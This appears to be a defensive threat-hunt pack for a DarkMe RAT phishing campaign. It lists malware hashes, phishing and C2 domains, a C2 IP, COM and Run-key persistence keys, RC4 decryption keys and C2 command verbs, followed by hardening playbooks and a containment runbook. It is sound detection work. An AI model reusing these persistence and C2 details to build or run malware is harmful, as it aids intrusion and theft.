type,value,action,severity,expiration,description,tags sha256,394c93dfbb7581c66a23c52b20cd90b31415c0825a2eab7107e60ee3fe693c04,detect,critical,2027-03-28,DarkMe image.pif initial dropper (PE masquerading as an image),campaign:DarkMe sha256,9fb5888f9ac99227a35f3e08ca08bfb9eed676e1f91638599eba0d7a5aac847f,detect,high,2027-03-28,DarkMe propi.msi staging installer,campaign:DarkMe sha256,1c923c685f97e556f241d0f1880283500a61dc7ecae8cafe75f34c720ff6b918,detect,high,2027-03-28,DarkMe prnfig.wsf staging script,campaign:DarkMe sha256,52b242047a8055c0936b384b952c1c16c1072a590610140b01f4acefa8ae883a,detect,medium,2027-03-28,DarkMe filetext2.txt COM registry import,campaign:DarkMe sha256,4a18f65ab7de7be385cbcebc78c9ae49334294f93726822b8900f9b7a324a6b0,detect,critical,2027-03-28,DarkMe Coconout.dll loader stage 1 (COM entry point),campaign:DarkMe sha256,3052352ac811c48590f0239281312c35560fc06b4dc39790e365eb1e7cab8634,detect,critical,2027-03-28,DarkMe Use.dll loader stage 2 (anti-sandbox gate plus persistence),campaign:DarkMe sha256,d7185bd7b450b478c793ece3025bdd867eed70bb7b739a5f26375b5ba6cf0d93,detect,critical,2027-03-28,DarkMe Finalized.dll loader stage 3 (RunPE),campaign:DarkMe sha256,54ed18aa883b53794810be0428b3a0167758183c5b3ba5660af747dc81dd5b76,detect,high,2027-03-28,DarkMe company.cer encrypted payload,campaign:DarkMe domain,readonline365.com,detect,high,2027-03-28,DarkMe phishing delivery host,campaign:DarkMe domain,storageonline.me,detect,high,2027-03-28,DarkMe phishing delivery host,campaign:DarkMe domain,viewdocument.live,detect,high,2027-03-28,DarkMe phishing delivery host,campaign:DarkMe domain,advancedfuturetechnology.com,detect,medium,2027-03-28,DarkMe phishing delivery host (suspended at time of publication),campaign:DarkMe domain,sharedfuturetech.com,detect,medium,2027-03-28,DarkMe phishing delivery host (payload pulled at time of publication),campaign:DarkMe domain,onlineview365.com,detect,high,2027-03-28,DarkMe MSI staging host,campaign:DarkMe domain,thatawful.boutique,detect,high,2027-03-28,DarkMe RC4-decrypted C2 domain,campaign:DarkMe ipv4,67.43.50.11,detect,high,2027-03-28,DarkMe C2 endpoint (TCP/7712),campaign:DarkMe # sha256 2915efecf2a01ce0b3ef49c47666ec43c326e7804df10e5859db5f08eeca8a37 = clspack.exe — LEGITIMATE signed Microsoft binary abused as a hollowing target. Do NOT import as a blockable indicator; monitor execution location via Q11 instead.
# COM / registry persistence
CLSID (COM server, ProgID Coconout.Primary): {CFDC57BA-1705-45AF-BA10-EFC3D592982B}
TypeLib: {8F1576C0-BB08-4F05-87A6-268C0D548794}
InprocServer32 target: %AppData%\ComponentsFolder\Coconout.dll
Protocol handler key: HKCU\Software\Classes\Locked\shell\open\command
Run value: HKCU\Software\Microsoft\Windows\CurrentVersion\Run "Locked" = explorer.exe "Locked://Newest"
# Payload / C2 crypto (pivot and malware-analysis context, not network/file IOCs)
Payload decryption key (company.cer, broken single-byte-effective RC4/XOR): Nobodygoingout
C2-string RC4 key (this sample): onlywayhere23!$$#@!!35@!12
Historical public-builder RC4 key (2024 campaigns; SonicWall/Trend Micro; NOT valid for this sample): noway123!$$#@35@!
# C2 command verbs (Spanish/Italian-derived mnemonics)
SHLEXE execute shell command
ZIPALO archive staging ("zip it")
COPALO copy file ("copy it")
PASALO exfiltrate ("pass it")
DELMAP delete directory
STRFLS enumerate a directory
# Non-standard C2 port
TCP/7712
Malware family: DarkMe (VB6 spy-RAT / infostealer) Actor / cluster: Water Hydra (aka DarkCasino); historically overlapping with the EvilNum-led "Operation DarkCasino" tracked by NSFOCUS (Sept 2022); split into its own cluster by Nov 2023 Loader chain filenames: image.pif, propi.msi, prnfig.wsf, filetext2.txt, Coconout.dll, Use.dll, Finalized.dll, company.cer Hollowing target (LEGITIMATE — do not block): clspack.exe, Microsoft-signed "Zip Package Creation Tool" Historical zero-days abandoned in this campaign: CVE-2023-38831 (WinRAR extension spoofing, weaponized April 2023), CVE-2024-21412 (Windows Defender SmartScreen bypass, weaponized late 2023/early 2024)
# Attack Surface Reduction rule GUIDs (Microsoft Defender) — see §13 for deployment be9ba2d9-53ea-4cdc-84e5-9b1eeee46550 Block executable content from email client and webmail 5beb7efe-fd9a-4556-801d-275e5ffc04cc Block execution of potentially obfuscated scripts d3e037e1-3eb8-44c8-a917-57927947596d Block JavaScript or VBScript from launching downloaded executable content 01443614-cd74-433a-b99e-2ecdc07bfc25 Block executable files from running unless they meet a prevalence, age, or trusted list criterion # Windows Script Host disablement HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings!Enabled = 0 (REG_DWORD) # Deployment audit checklist [ ] WSH disabled fleet-wide, or scoped to non-developer populations [ ] ASR rules above set to Block (not Audit) on pilot ring, then fleet [ ] AppLocker/WDAC deny-list covers execution from %AppData%\*\*.exe and \*\*.dll [ ] Mail gateway blocks .pif attachments and true-file-type PE content regardless of claimed extension [ ] SACL auditing enabled on HKCU\Software\Classes\CLSID (registry object access)
Detection Validation Gates
| Gate | What to confirm |
|---|---|
| Telemetry ready | Confirm ProcessRollup2/SyntheticProcessRollup2, PeFileWritten, AsepValueUpdate/RegGenericValueUpdate, DnsRequest, and NetworkConnectIP4 are flowing for the target host groups before enabling any query as a scheduled search. |
| Benign baseline | Run Q1, Q3, Q4, Q6, Q8, Q9, Q10, Q14 over a trailing 30-day window before enabling as alerts, to size the false-positive volume per query in your own estate. |
| Positive tests | Confirm each query fires against a synthetic replica of its pattern (e.g., a lab rundll32.exe /sta {test-GUID} invocation with no DLL path, a lab Run-key value shaped like Q10) before relying on it operationally; do not detonate the live sample outside an isolated lab. |
| Promotion criteria | Zero false positives over the 14-day post-baseline window and CONF high → promote to a Custom IOA per §9. Anything below that bar stays a scheduled hunt query, re-reviewed at the next changelog entry. |
Hardening — Tiered
TTP set: PE-as-image phishing (T1204.002/T1036.008), LOLBin script/installer abuse (T1218.007/T1059.005/T1112/T1218.011), COM/protocol-handler/Run-key persistence (T1546.015/T1546.001/T1547.001), process hollowing into a signed binary (T1055.012/T1036.005), RC4-obscured C2 on a non-standard port (T1071.004/T1571). Primary mitigations: M1038 (Execution Prevention), M1042 (Disable/Remove Feature or Program), M1040 (Behavior Prevention on Endpoint), M1047 (Audit), M1017 (User Training), M1026 (Privileged Account Management), M1018 (User Account Management / LAPS).
- Block
.pifexecution and delivery. Add.pifto your mail-gateway/attachment-defense block list (true-file-type detection, not extension-only) and to an AppLocker/SRP deny rule for user-writable paths. Framework: MITRE M1038; CIS Microsoft Windows Benchmark — Software Restriction Policies / Application Control section. - Enable the four Attack Surface Reduction rules in §10's audit block (email/webmail executable content, obfuscated scripts, JS/VBS launching downloaded content, unusual/untrusted executables) in Block mode, piloted first if you run in Audit today. Framework: MITRE M1040; Microsoft Defender ASR rule reference.
- Disable Windows Script Host on endpoint populations that do not need
.vbs/.wsf/.jsexecution (most knowledge-worker fleets). Framework: MITRE M1042; Microsoft Security Baseline guidance on legacy scripting engines. - Confirm the Falcon prevention policy has Suspicious Processes = Block, and that Sensor Visibility for registry and COM-relevant event classes is fully enabled on the policies applied to the affected host groups. Framework: MITRE M1040.
- Pilot an AppLocker/WDAC deny rule for execution under
%AppData%/%LocalAppData%except an explicit signed-vendor allowlist, on a 5–10 endpoint ring before fleet rollout. Framework: MITRE M1038; CIS Microsoft Windows Benchmark Application Control guidance. Compatibility note: some legitimate Electron-based apps and browser updaters self-update from AppData; expect to build an allowlist iteratively. - Enable registry SACL auditing on
HKCU\Software\Classes\CLSID(and, if feasible, the Classes protocol-handler and Run-key hives) so COM-hijack and persistence writes are independently logged for SIEM correlation. Framework: MITRE M1047; Microsoft Advanced Audit Policy — Object Access > Registry. - Re-verify email true-file-type inspection catches a PE served from a link whose display text/extension claims to be an image, not just attachments — this campaign's initial vector was a link, not an attachment. Framework: vendor secure-email-gateway hardening guidance (Proofpoint/Mimecast/Defender for Office 365 Safe Links equivalent). ⚠ best-practice, no single formal benchmark line covers this exact control.
- Move toward WDAC in enforced mode (not audit) fleet-wide, with a maintained exception pipeline, so unsigned/unexpected DLL loads from user-writable paths are denied by policy rather than caught after the fact. Framework: MITRE M1038; Microsoft WDAC design guide.
- Implement tiered admin / LAPS to blunt the blast radius of any successful crypto-wallet or credential theft that does land. Framework: MITRE M1026, M1018.
- Run a phishing-simulation track specifically covering the "fake image link" lure pattern (a URL that looks like it points to a picture but serves an executable), since Huntress's own framing is that this shift makes the attack cheaper precisely because users still click. Framework: MITRE M1017.
Deployable Playbooks
Prerequisites (all steps): local admin / GPO management rights on target endpoints; Microsoft Defender Antivirus present and not in passive mode for the ASR steps; a pilot ring defined before any fleet-wide rollout. Estimated deploy time: 1–2 hours for Steps 1–3 across a pilot ring; Steps 4–5 depend on your mail-gateway/SIEM vendor's change process.
Step 1 — Disable Windows Script Host
What it does: Prevents wscript.exe/cscript.exe from executing .vbs/.wsf/.js files, breaking the prnfig.wsf staging step. Why it works: the loader chain cannot reach the registry-import/rundll32 handoff if the WSH engine itself refuses to run.
Prerequisites: confirm no business-critical .vbs/.wsf logon scripts or line-of-business tooling depend on WSH before disabling fleet-wide. Reboot required: No.
PowerShell: $path = 'HKLM:\SOFTWARE\Microsoft\Windows Script Host\Settings' New-Item -Path $path -Force | Out-Null New-ItemProperty -Path $path -Name 'Enabled' -Value 0 -PropertyType DWORD -Force | Out-Null Write-Output "Windows Script Host disabled" GPO path: Computer Configuration > Administrative Templates > (custom ADMX or direct registry policy — WSH has no native ADMX; deploy via Group Policy Preferences registry item or a signed script) Verify: (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows Script Host\Settings' -Name Enabled -EA SilentlyContinue).Enabled # Expect: 0 Rollback: Set-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows Script Host\Settings' -Name Enabled -Value 1 # No reboot required
Step 2 — Enable Attack Surface Reduction rules (script & executable-content abuse)
What it does: Blocks obfuscated-script execution, JS/VBScript launching downloaded executables, executable content from email/webmail, and low-prevalence executables. Why it works: covers the image.pif delivery step and the prnfig.wsf execution step independently of the WSH-disable control.
Prerequisites: Microsoft Defender Antivirus active (passive mode acceptable if a third-party AV is primary, per Microsoft's ASR compatibility notes); pilot in Audit mode for 1–2 weeks if these rules are not already deployed. Reboot required: No.
PowerShell:
$ids = @(
'be9ba2d9-53ea-4cdc-84e5-9b1eeee46550', # Block executable content from email client and webmail
'5beb7efe-fd9a-4556-801d-275e5ffc04cc', # Block execution of potentially obfuscated scripts
'd3e037e1-3eb8-44c8-a917-57927947596d', # Block JavaScript or VBScript from launching downloaded executable content
'01443614-cd74-433a-b99e-2ecdc07bfc25' # Block executable files from running unless they meet a prevalence, age, or trusted list criterion
)
Set-MpPreference -AttackSurfaceReductionRules_Ids $ids -AttackSurfaceReductionRules_Actions Enabled,Enabled,Enabled,Enabled
Write-Output "ASR rules set to Block"
GPO path:
Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus >
Microsoft Defender Exploit Guard > Attack Surface Reduction > Configure Attack Surface Reduction rules
(add each GUID above with value 1 = Block; use 2 = Audit for the pilot ring)
Verify:
$i = (Get-MpPreference).AttackSurfaceReductionRules_Ids
$a = (Get-MpPreference).AttackSurfaceReductionRules_Actions
for ($n=0; $n -lt $i.Count; $n++) { "$($i[$n]) => $($a[$n])" }
# Expect: 1 (Block) for each of the four GUIDs above
Monitor for false positives:
Event ID 1121 (Block) / 1122 (Audit) in Microsoft-Windows-Windows Defender/Operational.
If a legitimate internal WSF/installer tool trips it, add a targeted exclusion:
Add-MpPreference -AttackSurfaceReductionOnlyExclusions 'C:\Path\To\LegitimateTool.exe'
Rollback:
Set-MpPreference -AttackSurfaceReductionRules_Ids $ids -AttackSurfaceReductionRules_Actions Disabled,Disabled,Disabled,Disabled
Step 3 — AppLocker deny rule for execution from %AppData%
What it does: Denies EXE/DLL execution from user-writable AppData subfolders unless explicitly allowlisted. Why it works: breaks the chain at the point where Coconout.dll/Use.dll/Finalized.dll would otherwise load from %AppData%\ComponentsFolder\.
Prerequisites: AppLocker (or WDAC) available (Windows 10/11 Enterprise or Education for full policy flexibility); build and pilot an allowlist for any legitimate AppData-resident app (Electron apps, browser updaters, RMM agents) before enforcing. Reboot required: No (AppLocker policy refresh via gpupdate is sufficient); the Application Identity service must be running.
PowerShell (create + test in Audit mode first): New-AppLockerPolicy -RuleType Publisher,Path -User Everyone -RuleNamePrefix "DenyAppDataExec" ` -XmlPolicy | Set-AppLockerPolicy -Merge # Minimal deny-path rule (adapt via the AppLocker MMC snap-in for a maintained allowlist): # Deny EXE/DLL execution under %APPDATA%\* and %LOCALAPPDATA%\*, then add explicit Allow # Publisher rules for any signed vendor tooling you need to exempt. Verify (Audit mode first): Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -MaxEvents 20 Rollback: Set-AppLockerPolicy -XmlPolicy "C:\Path\To\PreviousPolicy.xml" # or remove the rule collection: Remove-AppLockerPolicy (if fully rolling back AppLocker)
Step 4 — Block .pif at the mail gateway / secure email gateway
What it does: Stops image.pif (and any .pif) from reaching the inbox as an attachment, and flags/rewrites links whose true-file-type detonation resolves to a PE despite an image-looking URL or filename. Why it works: removes the initial-access step entirely.
Prerequisites: mail-flow rule or transport rule authoring rights (Exchange Online / on-prem Exchange / third-party SEG); Safe Attachments or equivalent detonation sandbox licensed and enabled. Reboot required: No.
Exchange Online PowerShell (illustrative — adapt file-type list to your standard): New-TransportRule -Name "Block PIF Attachments" ` -AttachmentExtensionMatchesWords "pif" ` -RejectMessageReasonText "Blocked: .pif attachments are not permitted" ` -Mode Enforce Defender for Office 365: Threat policies > Anti-malware > Common Attachment Types Filter > add "pif" to the blocked file-type list Threat policies > Safe Attachments > enable dynamic delivery / true-file-type detonation on all recipient policies Verify: Send a benign test .pif from an external test mailbox and confirm rejection/quarantine in the message trace. Rollback: Disable-TransportRule -Identity "Block PIF Attachments" # or remove "pif" from the Common Attachment Types Filter list
Step 5 — COM hijack registry auditing
What it does: Generates a Security-log event (4657) whenever a value under HKCU\Software\Classes\CLSID is created or modified, independent of Falcon coverage. Why it works: gives SIEM/SOAR a second, native-Windows detection path for the exact persistence mechanism this campaign relies on.
Prerequisites: Advanced Audit Policy Configuration available (Windows 8/Server 2012+); a SACL must be applied to the target registry key in addition to enabling the audit subcategory. Reboot required: No.
PowerShell / auditpol: auditpol /set /subcategory:"Registry" /success:enable /failure:enable # Apply a SACL to the CLSID hive (run as SYSTEM/admin; adjust for your SACL tooling of choice): $acl = Get-Acl -Path 'Registry::HKEY_CURRENT_USER\Software\Classes\CLSID' $rule = New-Object System.Security.AccessControl.RegistryAuditRule( "Everyone", "SetValue,CreateSubKey", "ContainerInherit", "None", "Success") $acl.AddAuditRule($rule) Set-Acl -Path 'Registry::HKEY_CURRENT_USER\Software\Classes\CLSID' -AclObject $acl Verify: auditpol /get /subcategory:"Registry" Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4657]]" -MaxEvents 5 Rollback: auditpol /set /subcategory:"Registry" /success:disable /failure:disable # and remove the added RegistryAuditRule from the CLSID key's ACL via the same Get-Acl/Set-Acl pattern
Containment Runbook
| Phase | Actions | Owner | Evidence to capture |
|---|---|---|---|
| 1 — Triage | Confirm the trigger (Q7 known-CLSID hit, Q11 clspack.exe/AppData hit, or Q12/Q13 C2 hit). Pull the full process tree, the registry values written under the CLSID/Locked/Run keys, and any network connections from the hollowed process. | SOC L1/L2 | Falcon process-timeline export; RegObjectName/RegStringValue captures; network connection log |
| 2 — Contain | Network-isolate the host from the Falcon console. Kill the hollowed clspack.exe process tree. Block thatawful.boutique / 67.43.50.11 at the perimeter resolver/firewall (single-sourced — document the decision per your IOC-confidence policy). Suspend the affected user's cached/cloud sessions pending credential reset. | IR lead | Isolation timestamp; kill confirmation; firewall/DNS change ticket |
| 3 — Eradicate | Delete %AppData%\ComponentsFolder\ and %AppData%\Microsoft\clspack.exe. Remove the HKCU CLSID {CFDC57BA-1705-45AF-BA10-EFC3D592982B} registration, the Locked protocol handler, and the Locked Run-key value. Reboot to fully clear the COM registration cache. | IR / endpoint engineering | Before/after registry export; file deletion log; reboot confirmation |
| 4 — Recover | Re-verify clean via a full Falcon/AV scan. Reset credentials for the affected user. Treat any cryptocurrency wallet used on the host as compromised — assume seed phrases are exposed and have the user move funds to a new wallet from a clean device. Re-enable network access only after a 14-day clean monitoring window. | IR + Helpdesk | Scan report; credential-reset ticket; wallet-migration confirmation from the user |
| 5 — Post-incident | Retro-hunt the full fleet with Q1, Q6, Q7, Q12, Q13 over a 90-day DNS/process lookback. Update phishing-awareness materials to cover the "fake image link" lure. File a §17 changelog entry and brief stakeholders on findings. | Threat hunt team | Retro-hunt results; training-material diff; changelog entry |
Detection Coverage Map
| Attack-chain step | Behavior | CQL | IOA | Coverage |
|---|---|---|---|---|
| 1 | Phishing email delivery (image-claiming link) | — | — | GAP — no Falcon telemetry for email delivery; covered only by §7 mail-gateway guidance |
| 2 | .pif click / execution / write-to-disk | Q1, Q2 | Q1 candidate | Good |
| 3 | msiexec remote MSI install | Q3 | — | Good |
| 4 | CAB expand + prnfig.wsf execution | Q4, Q14 | — | Good |
| 5 | reg.exe import of registry template | Q5 | — | Good |
| 6 | rundll32 /sta {CLSID} COM invocation | Q6, Q7 | Q6, Q7 candidates | Good |
| 7 | Coconout.dll → Use.dll FillText in-process call | — | — | GAP — in-process DLL export invocation is not independently visible via Falcon CQL fields |
| 8a | 329-application inverted sandbox enumeration | — | — | GAP — in-memory CreateToolhelp32Snapshot/Process32Next walk; no distinct network or file artifact |
| 8b | Persistence writes: CLSID InprocServer32, protocol handler, Run key | Q8, Q9, Q10 | Q10 candidate | Good |
| 9 | company.cer RC4/XOR payload decryption | — | — | GAP — in-memory decryption; not observable via telemetry |
| 10 | Process hollowing into signed clspack.exe | Q11 | — | Partial — path/network anomaly is visible (Q11); the hollowing mechanics themselves (NtUnmapViewOfSection etc.) rely on Falcon's native ML/IOA sensor logic, not a CQL field |
| 11 | RC4-encrypted C2 string decryption + beacon | Q12, Q13 | Q13 candidate | Good for the network effect; GAP for the in-memory decrypt itself |
| 12 | Wallet theft / screenshots / AV enumeration / arbitrary command execution | — | — | GAP — capability-level; no artifact distinct from the already-covered C2 channel (step 11) |
5 of 12 chain steps carry an honest GAP rating — all five are in-memory/in-process behaviors (email content inspection aside) that Falcon's standard event model does not expose as a queryable field, by design. This pack compensates by detecting the deterministic artifacts each gapped step leaves behind (persistence writes, execution-location anomalies, network egress) rather than the step itself. Validation-gate criteria for the queries covering the "Good"/"Partial" rows are in §11.
Hunt Summary Ticket
TITLE: DarkMe RAT (VB6) — Water Hydra Phishing-Only Chain
SEVERITY: High
SCOPE: Windows endpoints; Falcon LTR/NG-SIEM — ProcessRollup2, SyntheticProcessRollup2,
PeFileWritten, AsepValueUpdate, RegGenericValueUpdate, DnsRequest, NetworkConnectIP4
HYPOTHESIS: A user executed a .pif masquerading as an image from a phishing link, triggering a
VB6 COM-based loader chain (Coconout.dll -> Use.dll -> Finalized.dll) that establishes
triple persistence and process-hollows the DarkMe RAT into a signed Microsoft binary
(clspack.exe), then beacons to thatawful.boutique / 67.43.50.11:7712.
QUERIES: Q1-Q14 (Section 8); IOA candidates Q1, Q6, Q7, Q10, Q13 (Section 9)
DO FIRST: Run Q7 (known CLSID) and Q13 (C2 IP:port) environment-wide over a 30-day window.
Any hit = confirmed compromise; escalate to IR immediately per Section 14.
FINDINGS: [populate post-hunt]
GAPS: In-memory 329-app inverted sandbox check, RC4/XOR payload decryption inside
Finalized.dll, and granular process-hollowing internals are not independently
visible in Falcon CQL telemetry (Section 15). Every atomic IOC in this pack traces
to exactly one public source (Huntress, 2026-09-22) — none are promoted to a
prevent/blocking posture (Section 4/10/12).
ACTIONS: See Containment Runbook, Section 14.
OWNER: HuntPack
VERSION: v0.1 · 2026-09-28
Changelog
References
| Tier | Source | Used For | Access Date |
|---|---|---|---|
| T2 | Huntress — DarkMe Email Campaign Broadens Targeting For APT RAT | Primary technical analysis; every atomic IOC in this pack | 2026-09-28 |
| T2 | Help Net Security — DarkMe RAT trades zero-days for plain phishing emails | Attribution/motive context, analyst quotes | 2026-09-28 |
| T3 | IT Security Guru — Zero-day hackers ditch exploits for a fake image file in new DarkMe campaign (2026-09-23) | Not used — fetch blocked (HTTP 403 / Cloudflare challenge), no snapshot saved, dropped per sourcing rule | attempted 2026-09-28 |
| T2 | SonicWall — A Deep Dive Into DarkMe RAT Malware | Historical (2024) sample lineage/background only | 2026-09-28 |
| T3 | Black Arrow Cyber — Threat Briefing, 25 September 2026 | Timeline/visibility corroboration | 2026-09-28 |
| T1 | Trend Micro ZDI — CVE-2024-21412: Water Hydra Targets Traders With Microsoft Defender SmartScreen Zero-Day | Actor background, historical zero-day chain | 2026-09-28 |
| T1 | Group-IB — Traders' Dollars in Danger: CVE-2023-38831 zero-day vulnerability in WinRAR | Historical zero-day background (2023) | 2026-09-28 |
| — | MITRE ATT&CK | Technique IDs throughout §6 | 2026-09-28 |
Source snapshots saved verbatim under DarkMe-RAT-VB6-Hunt-sources/ alongside this file: 01-huntress-darkme.txt, 02-helpnetsecurity.txt, 03-sonicwall.txt, 04-blackarrow.txt, 05-trendmicro-cve-2024-21412.txt, 06-groupib-cve-2023-38831.txt.